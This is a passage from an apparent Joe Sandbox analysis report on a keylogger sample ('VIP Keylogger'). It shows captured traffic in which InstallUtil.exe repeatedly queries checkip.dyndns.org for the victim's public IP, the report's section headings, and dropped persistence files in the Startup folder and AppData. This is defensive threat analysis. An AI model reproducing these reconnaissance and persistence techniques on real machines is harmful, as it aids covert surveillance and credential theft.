Mar 11, 2025 06:10:34.715038061 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:34 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 8f84cbaa1bd1278bb8d776cdc785e583 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
9	192.168.2.5	49736	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:37.177220106 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:37.769226074 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 70acf502f22fad00b7592be3c8743b8d Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
10	192.168.2.5	49737	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:37.180102110 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:37.753390074 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:37 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: ad86322b966b36c30a1959666ed6d08a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
11	192.168.2.5	49740	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:40.130079985 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:40.711698055 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: c32cb74fd4f1cdb4184554093a0419b4 Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
12	192.168.2.5	49741	158.101.44.242	80	8068	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:40.130145073 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR1.0.3705;) Host: checkip.dyndns.org Connection: Keep-Alive
Mar 11, 2025 06:10:40.713644981 CET	321	IN	HTTP/1.1 200 OK Date: Tue, 11 Mar 2025 05:10:40 GMT Content-Type: text/html Content-Length: 104 Connection: keep-alive Cache-Control: no-cache Pragma: no-cache X-Request-ID: 48a3ea446f674bc03b63d1690172004a Data Raw: 3c 68 74 6d 6c 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 43 75 72 72 65 6e 74 20 49 50 20 43 68 65 63 6b 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 43 75 72 72 65 6e 74 20 49 50 20 41 64 64 72 65 73 73 3a 20 38 2e 34 36 2e 31 32 33 2e 31 38 39 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>Current IP Check</title></head><body>Current IP Address: 8.46.123.189</body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
13	192.168.2.5	49744	158.101.44.242	80	7500	C:\Windows\Microsoft.NET\Framework\v4.0.30319\InstallUtil.exe

Timestamp	Bytes transferred	Direction	Data
Mar 11, 2025 06:10:43.201354027 CET	151	OUT	GET / HTTP/1.1 User-Agent: Mozilla/4.0 (

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report pbgjw8i8N7.exe

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Threat Intel

Malware Configuration

Threatname: VIP Keylogger

Yara Signatures

Memory Dumps

Unpacked PEs

Sigma Signatures

System Summary

Data Obfuscation

Suricata Signatures

Joe Sandbox Signatures

AV Detection

Location Tracking

Compliance

Spreading

Software Vulnerabilities

Networking

Key, Mouse, Clipboard, Microphone and Screen Capturing

System Summary

Data Obfuscation

Persistence and Installation Behavior

Boot Survival

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

Anti Debugging

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Remote Access Functionality

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\XsdType.vbs

C:\Users\user\AppData\Roaming\XsdType.exe

C:\Users\user\AppData\Roaming\XsdType.exe:Zone.Identifier

Static File Info

General

File Icon

Static PE Info

General

Entrypoint Preview

Data Directories

Windows Analysis Report
pbgjw8i8N7.exe